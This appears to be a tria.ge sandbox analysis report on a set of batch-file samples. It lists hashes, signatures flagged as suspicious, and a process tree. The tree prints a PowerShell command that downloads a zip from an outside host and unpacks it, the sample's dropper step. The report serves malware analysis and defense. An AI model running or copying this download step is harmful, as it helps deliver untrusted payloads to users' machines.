Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
1tesy - Copy (10).bat
windows7-x64
10tesy - Copy (11).bat
windows7-x64
10tesy - Copy (12).bat
windows7-x64
10tesy - Copy (13).bat
windows7-x64
10tesy - Copy (14).bat
windows7-x64
10tesy - Copy (2).bat
windows7-x64
10tesy - Copy (3).bat
windows7-x64
10tesy - Copy (4).bat
windows7-x64
10tesy - Copy (5).bat
windows7-x64
10tesy - Copy (6).bat
windows7-x64
10tesy - Copy (7).bat
windows7-x64
10tesy - Copy (8).bat
windows7-x64
10tesy - Copy (9).bat
windows7-x64
10tesy - Copy.bat
windows7-x64
10tesy.bat
windows7-x64
10Analysis
-
max time kernel
1561s -
max time network
1571s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
14/10/2023, 01:31
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
tesy - Copy (11).bat
Resource
win7-20230831-en
Behavioral task
behavioral3
Sample
tesy - Copy (12).bat
Resource
win7-20230831-en
Behavioral task
behavioral4
Sample
tesy - Copy (13).bat
Resource
win7-20230831-en
Behavioral task
behavioral5
Sample
tesy - Copy (14).bat
Resource
win7-20230831-en
Behavioral task
behavioral6
Sample
tesy - Copy (2).bat
Resource
win7-20230831-en
Behavioral task
behavioral7
Sample
tesy - Copy (3).bat
Resource
win7-20230831-en
Behavioral task
behavioral8
Sample
tesy - Copy (4).bat
Resource
win7-20230831-en
Behavioral task
behavioral9
Sample
tesy - Copy (5).bat
Resource
win7-20230831-en
Behavioral task
behavioral10
Sample
tesy - Copy (6).bat
Resource
win7-20230831-en
Behavioral task
behavioral11
Sample
tesy - Copy (7).bat
Resource
win7-20230831-en
Behavioral task
behavioral12
Sample
tesy - Copy (8).bat
Resource
win7-20230831-en
Behavioral task
behavioral13
Sample
tesy - Copy (9).bat
Resource
win7-20230831-en
Behavioral task
behavioral14
Sample
tesy - Copy.bat
Resource
win7-20230831-en
Behavioral task
behavioral15
Sample
tesy.bat
Resource
win7-20230831-en
General
-
Target
tesy - Copy (4).bat
-
Size
702B
-
MD5
65f016a2abe40d2902c7032438a14bd7
-
SHA1
b3537668ca1bb826e5085aee38b3f7ec654d606e
-
SHA256
153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
-
SHA512
b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7
Malware Config
Extracted
https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 5 2932 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2932 powershell.exe 2076 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2932 powershell.exe Token: SeDebugPrivilege 2076 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1740 wrote to memory of 2932 1740 cmd.exe 29 PID 1740 wrote to memory of 2932 1740 cmd.exe 29 PID 1740 wrote to memory of 2932 1740 cmd.exe 29 PID 1740 wrote to memory of 2076 1740 cmd.exe 30 PID 1740 wrote to memory of 2076 1740 cmd.exe 30 PID 1740 wrote to memory of 2076 1740 cmd.exe 30
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1740 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2932
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2076
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD50de360a55f28779715208a0ba692afcf
SHA128a8375a7ec675609a4f983fe5dde29c0b7baed2
SHA2566142dbcbfd4685c8a95aa8474211ce8d2756e45f7dc6acdb39da2ffc8d45efab
SHA5124d6322d9541d44c2fc29825a3ea3013afd66c8a65292fb8289c9e82a3008c100e5c8a62b1e84446bab5989b1c8bdafd208797ef3e28cfa94333052a99348d2c4
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZIZHK6MA05JKXFRDVRSB.temp
Filesize7KB
MD50de360a55f28779715208a0ba692afcf
SHA128a8375a7ec675609a4f983fe5dde29c0b7baed2
SHA2566142dbcbfd4685c8a95aa8474211ce8d2756e45f7dc6acdb39da2ffc8d45efab
SHA5124d6322d9541d44c2fc29825a3ea3013afd66c8a65292fb8289c9e82a3008c100e5c8a62b1e84446bab5989b1c8bdafd208797ef3e28cfa94333052a99348d2c4